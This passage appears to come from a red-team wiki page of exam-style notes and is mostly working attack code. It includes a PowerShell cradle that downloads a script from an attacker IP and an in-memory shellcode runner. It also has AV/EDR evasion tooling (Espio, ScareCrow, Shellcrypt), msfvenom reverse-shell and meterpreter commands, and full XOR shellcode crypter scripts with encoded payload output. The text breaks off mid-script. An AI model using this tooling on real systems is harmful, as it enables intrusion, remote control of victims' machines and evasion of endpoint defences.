$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
